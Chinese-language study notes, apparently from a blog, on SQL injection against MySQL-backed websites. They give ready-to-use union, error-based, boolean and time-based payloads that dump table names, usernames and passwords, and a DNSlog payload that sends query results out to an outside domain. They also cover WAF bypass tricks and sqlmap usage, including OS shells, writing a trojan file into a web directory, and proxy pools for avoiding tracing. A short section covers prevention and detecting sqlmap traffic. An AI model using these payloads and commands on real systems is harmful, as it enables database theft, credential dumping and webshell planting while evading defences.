数据库语句
mysql: select from table limit 5;
mssql/sqlsever: select top 5 from table;
oracle: select from table where rounum >=5

sql注入

==>sql代码

只要功能点和数据库交互的地方都有可能存在SQL注入   
原理
SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。
根据数据类型划分*
整型注入(不需要闭合,不一定需要注释)建议每次都加注释
字符串类型注入(需要闭合,或者需要注释)
搜索型 加密型
如何判断?
第一种
and 1=1和and 1=2
第二种 (最好用减 有些浏览器加号会被转译为空格) **
+1和-1
第三种
'"
第四种
and sleep(5)

判断是否存在注入
/单双引号、运算符(+-*/)、?id=3' and'1'='2/?id=3'and'1'='1

判断闭合方式
1.通过\(转义字符)来判断SQL注入的闭合方式 通过报错信息判断
2.'" 有无报错信息
看闭合符里是允许多个括号组合成闭合符的,具体要判断有多少个括号,可以使用二分法来快速判断。

根据注入的类型分类
UNION query SQL injection(可联合查询注入)
Error-based SQL injection(报错型注入)
Boolean-based blind SQL injection(布尔型注入)
Time-based blind SQL injection(基于时间延迟注入)
Wide char SQL injection(宽字节注入)
Twice SQL injection(二次注入)
Stacked queries SQL injection(可多语句查询注入)堆叠注入 => 5.0以下版本
select * from user where id=1; sql语句

补:
access数据库 =>偏移注入
DNSlog外带注入
mysql补充
mysql注释
# (url编码为 %23)

--+   (--后面需跟上一个或多个空格) 空格(url编码为%20)

/*.....*/ 绕waf用 /*!数字...*/
如果数字(5位)大于当前mysql版本号 注释生效
否则不生效 waf绕过
常用函数
查看用户
select user()
select system_user()
select current_user()
select SESSION_USER()

查询当前数据库名称
select database()

查询当前版本
select version()
select @@version

mysql安装路径*
select @@basedir

数据库存储数据表位置*
select @@datadir

查看操作系统
select @@version_compile_os

索引库及其表和字段

5.0以上才有,可以多用户多操作
information_schema库
SCHEMATA表
字段: SCHEMA_NAME
TABLES表
字段:TABLE_SCHEMA TABLE_NAME
COLUMNS表
字段:TABLE_SCHEMA TABLE_NAME COLUMN_NAME
5.0以下,单用户
如何防止SQL注入*
注意: 数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制     addslashes()函数在指定的预定义字符('" \ null)前添加反斜杠 针对字符型进行过滤
mysql_escape_string() 已弃用
intval() 针对整型进行过滤
PDO预处理方式
转换后需要加标识 如十六进制要加0x... 二进制要加0b...
开启gpc

补:确定每个数据的类型
限制传入数据的长度
严格限制用户使用数据库的权限


ascii
0x3D = 0x20 空格

union 必须包含相同的列数

order by  可以查看列数
limit 一个一个打印出来库名
group_concat() 一次性全部打印
读写函数*
前提:
1.知道文件绝对路径
2.能够使用union查询
3.对web目录有读写权限(基本只有root权限才有这个权限)
4.导入,导出不为null show variables like '%secure_file_priv%';
在my.ini中配置 secure_file_priv=
NULL 不允许导入也不允许导出(不能读取也不能写入)
空 可以导入也可以导出且文件位置不限制
绝对路径 导入和导出都只能在这个路径下进行
5.没有对单双引号进行过滤()/全局未开启gpc功能 magic_quote_gpc

读取文件 load_file
select load_file('绝对路径') 反斜杠前要加个反斜杠/直接用正斜杠

写入文件   into outfile/into dumpfile
select '文件内容' into outfile '绝对路径'
select '文件内容' into dumpfile '绝对路径'
文件内容可以使用0b二进制编码,0x十六进制编码,绝对路径不可以
outfile函数可以导出多行,而dumpfile只能导出一行数据
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式 (提权用dumpfile)
注入流程

常用场景

登录注册 –union –联合注入

文章 –报错/布尔/时间

根据所需拿到一些数据库

然后 进行读取文件 文件上传

联合注入

有显示位

1.首先判断是整型还是字符型(因为要考虑是否需要闭合)
2.判断列数 如 order by 3
3.使用占位符 如 union select 1,2,3
4.爆库 union select database(),2,3 --+
5.爆表 union select group_concat(table_name) from information_schema.tables where table_schema=database() --+
6.爆字段 union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名' --+
7.字段值 union select group_concat(username,0x3D,password) from 表名 --+
报错注入

没有回显位,但有报错信息

基础函数

ceil    向上取整
floor 向下取整
rand 随机取值
concat 返回结果为连接参数产生的字符串。
substr()/substring()/mid() 三个参数
left() 两个参数

payload为需要获取内容的脚本
1.通过floor报错
select count(*),concat((payload),floor(rand(0)*2))x from users group by x

2.通过extractvalue()报错 2 从目标XML中返回包含所查询值的字符串。
extractvalue(1,concat(0x7e,payload(),0x7e)
获取所有表
(select distinct concat(0x7e,(select group_concat(table_name)),0x7e)from information_schema.tables where table_schema='security')
(select distinct concat(0x7e,(select group_concat(column_name)),0x7e)from information_schema.columns where table_schema='security' and table_name='users')

第一个参数:XML_document是string格式(如果我们不写字符串格式而写一个数字1,那么就会报错,将后面的语句查询出来.)
第二个参数:XPath_string(Xpath格式的字符串)

3、通过UpdateXML()报错   3
and UpdateXML(1,concat(0x7e,(payload),0x7e)),1)

补充: 常见报错函数可能会被waf拦截
1.ST_LatFromGeoHash()
and ST_LatFromGeoHash(concat(0x7e,(payload),0x7e))--+

2.ST_LongFromGeoHash()
and ST_LongFromGeoHash(concat(0x7e,(payload),0x7e))--+

3.ST_PointfromgeoHash()
and ST_Pointfromgeohash(concat(0x7e,(payload),0x7e),1)--+

floor 报错原理

floor(rand(0)*2 的作用就是产生预知的数字序列01101,然后再利用 rand() 的特殊性和 group by 的虚拟表,最终引起了报错。

group by和count一起使用时,会生成一张虚拟的表
先运算第一次,第一次的结果为0,查到结果后就需要去虚拟机添加数据(如果虚拟表没有该数据,将运算第二次,如果有就不需要运行第二次)
1.首先判断是整型还是字符型(因为要考虑是否需要闭合)
2.and(select 1 from (select count(*),concat(concat(payload),floor(rand(0)*2))x from information_schema.tables group by x)y)--+
//payload为需要获取内容的脚本
布尔注入

优点:不需要显示位,不需要出错信息(报错信息不全)。 缺点: 速度慢,耗费大量时间。

常用函数

length(长度)
exists() 检测是否子查询是否返回数据
ascii()/ord() 返回ascii码  
regexp '' 匹配 like '' 全称

常用语句

判断版本是否大于5.0   若结果为0     即可使用堆叠注入..
and exists(select from information schema.tables)--+
判断数据库个数
and (select count(table_schema) from information_schema.tables) > ?

注入流程

1.判断闭合
2.判断第一个库的第一个字
and (select ascii(substr((select schema_name from
information_schema.SCHEMATA limit 0,1),1,1)))>? --+
时间注入

优点:不需要显示位,不需要出错信息。

加入sleep(5)后页面会有明显延迟

缺点: 速度慢.

注入流程

1.判断注入点
2.闭合语句
3.and if(ascii(substr(payload),1,1)=?,sleep(5),1)
宽字节注入
字符集为gbk时可以使用    %df 加上闭合的符号 可用于绕过addslashes()
二次注入
一次注入:将带有sql风险的数据写入数据库   (插入更新)
二次注入:读取带有sql风险数据实现到了注入 (插入,更新,删除,(插入))
开始:信息进行存储/修改造成二次注入风险
过程:访问这些点判断是否存在
结尾:利用
unifish
存在于评论文章结合 =>两个注入点应该是连贯的
堆叠注入
条件:
mysqli_multi_query() 支持同时执行多条sql语句
mysqli_query() 支持执行单条sql语句
;未被过滤
https://buuoj.cn/challenges
DNS利用
http://www.dnslog.cn/
and()
select load_file(concat('\\\\',(select (paload)),'.域名\\abc'));

2.应用场景:
解决不回显,反向连接,SQL注入,命令执行,SSRF等
dns不能放过长的payload
http头注入
绕waf

针对 单双引号、空格、关键字、比较、注释进行过滤

单双引号 =>十六进制 hex() unhex()

空格 =>/**/,(),转义

关键字=>大小写绕过,双写绕过,替代关键字 ,预编译

比较=> 用greatest函数替代大于号 用least函数代替小于号 strcmp代替字符串比较

注释进行过滤=>可以用and加上闭合的符号

如果代码块存在url解码 那么可以将sql语句转换为url码进行

如果字符编码为gbk时 可以使用宽字节绕过

逗号过滤=>针对一些函数可以用语句进行替代 如substr(from for) limit 0offset1

内联注释等等

绕过方法: 大小写、替换关键字、函数、编码/进制、Sql特性

1.大小写绕过

原理是基于SQL语句不分大小写的,但过滤只过滤其中一种。

2.替换关键字/双写绕过

正则表达式会替换或删除select、union这些关键字如果只匹配一次就很容易绕过

3.空格绕过

1)注释符绕过 /**/

2) 括号绕过 ()

3)转义绕过 换行%0a %20

4.内联注释(关键字)

5.URL编码

有时后台界面会再次URL解码所以这时可以利用二次编码解决问题 后台语句 代码里有urldecode解码

6.十六进制绕过(引号过滤)

7.逗号绕过

盲注时需要用到的字句方法

substr(”,1,1),mid(”,1,1) => from 1 for 1

limit(0,1) => 0offset1

8.比较符绕过(>,<)

盲注时,在使用二分查找的时候需要使用到比较操作符来进行查找。

select GREATEST(1,2,3) //输出最大值3

select least(1,2,3) //输出最小值1

select strcmp(‘aa’,’aaa’) 字符串比较 输出 -1 等于0即为相等

补:in, between, order by,like

9.注释符绕过

在注入时的注释符一般为# –+当两者不能用时就不能闭合引号

将注释符换为闭合符号

闭合为’的话 select * from users WHERE id=’1’/1 (布尔语句)/’1′ =’1′

10宽字节绕过

字符编码为gbk %df

补充:base 64加密多以等于号结尾

11.with rollup

12无列名注入

给未知列名命名

13.判断列数绕过

SQLmap的使用

流程:

1.-u 查看是否存在注入

2-u url –is-dba 查看权限

  1. –proxy -user-agent
1.基础命令

–batch 跳过询问

sqlmap -u "网址"      得到数据库,操作系统,服务器等版本信息

sqlmap -u "网址" --dbs 列出所有数据库名

sqlmap -u "网址" -D 数据库名 --tables

sqlmap -u "网址" -T 表名 --columns

sqlmap -u "网址" -T 表名 -C 列名 --dump

sqlmap -u "网址" -D 数据库名 --dump --batch

sqlmap -u "网址" --os -shell
2.进阶命令
输出信息的详细程度
-V #共7个级别(0~6),默认为1
#可以用-vv 代替-v 2,推荐使用这种方法
0:只输出Python出错回溯信息,错误和关键信息
1:增加输出普通信息和警告信息
2:增加输出调试信息
3:增加输出已注入的payloads
4:增加输出HTTP请求
5:增加输出HTTP响应头
6:增加输出HTTP响应内容

*检测强度等级
-level1 检测Get和Post
-level2 检测HTTP Cookie
-level3 检测User-Agent和Referer
-level4 检测
-level5 检测HOST头

检测风险等级
-risk 2会在默认的检测上添加大量时间型盲注语句测试
-risk 3会在原基础上添加OR类型的布尔型盲注,可能会update导致修改数据库

抓包方式 在想要测试的后面加上*
-r"路径" --proxy"代理路径" --batch
-u"地址" --proxy"代理路径" --batch

--user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36"   --batch


代理池
proxyPool.py 爬取免费代理 --redis 6379存储爬取免费代理
1.安装环境
python -m pip install -r requirements.txt

2.开启redis(配置密码 -setting.py)

3.爬取免费有效的代理ip
python proxypool.py schedule

4.启动api服务
python proxypool.py server

Mytool
5.读取爬出来的代理并且保存在ips.txt
python main.py
6.运行 挂出代理(127.0.0.1:9999)(轮询)
go2.py
工具端口 5010
3.注入流程

–batch 默认yes

–prefix 注入 payload 的前缀字符串 –suffix 注入 payload 的后缀字符串 –tamper 用给定脚本修改注入数据

–dump-all 列出所有

–user-agent 浏览器信息

–proxy 设置代理(绕waf 防止溯源)

–flush-session 清空会话文件

-v 详细程度 -level 强度等级 -risk 风险等级

-u "url"    查看是否存在注入
对于是post提交数据的URL,我们需要指定其data参数(可与bp联用更加快捷 抓包保存数据包到文件夹里面)
-r "数据包地址" 读取数据报

--current-user 查看数据库当前用户
--is-dba 当前用户是否有管理权限
--roles 列出数据库管理员角色 --privileges 用户特权级
(--users         #列数据库所有用户
--passwords     #数据库用户所有密码 )

--current-db 查看当前数据库
根据所需爆库 爆表 爆列名 爆数据 指定
-D 数据库名
-T 表名
-C 列名

--sql-query 指定要执行的sql语句
--sql-shell 调出shell

实际应用场景
伪静态注入
-u url*.html --dbs #在html扩展名前加个'*'

文件操作
--is-dba 查看权限
--fire-read '文件路径' 读取文件
--fire-write=本地木马路径 --file-dest=目标网站目录                
4.绕过waf
--tamper
--delay
--proxy

tamper用法
1.针对引号
apostrophemask.py 对引号进行 utf-8 格式编码
apostrophenullencode.py 用非法的双 unicode 字符 (%00%27) 替换引号字符

2.针对关键字
versionedmorekeywords.py 对每个关键字进行注释处理
randomcomments.py 在 payload 的关键字中间随机插入注释符 /**/ ,可用于绕过关键字过滤
nonrecursivereplacement.py 关键字双写,可用于关键字过滤

3.针对空格
space2comment.py 用注释符 // 代替空格,用于空格的绕过
space2plus.py 用+号替代空格

4.比较符
between.py 用between替代大于号(>)
greatest.py 两者比较取大值

charunicodeencode.py 对字符串进行 Unicode 格式转义编码
base64encode.py 用 base64 格式进行编码

bluecoat.py 对 SQL 语句替换空格字符为 (%09),并替换”=”—>”LIKE”

commalessmid 将 payload 中的逗号用 from 和 for 代替,用于过滤了逗号并且是 3 个参数的情况 如substr() mid()

针对url
charencode.py 采用 url 格式编码 1 次
chardoubleencode.py 采用 url 格式编码 2 次

如何检测出什么是sqlmap的流量特征 –(流量检测系统/日志系统)

1.数据包是否包含sql注入语句 sql语句存在一定规则

2.如果没有配置 user_agent 会是固定的sqlmap..

3.sqlmap 随机数的位数正常是固定的 一般是4

4.发包速度是规律的/频率快(代理池)

面试题?

如何区分是window系统还是linux系统

1.大小写 (windows对大小写不敏感,linux是严格区分大小写)

2.ping主机判断 (windows 一般情况下TTL大于100 ,linux一般情况下小于100 )

补:任意文件读取漏洞

查看MySQL/data/mysql/user.MYD 获取账户密码登录

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注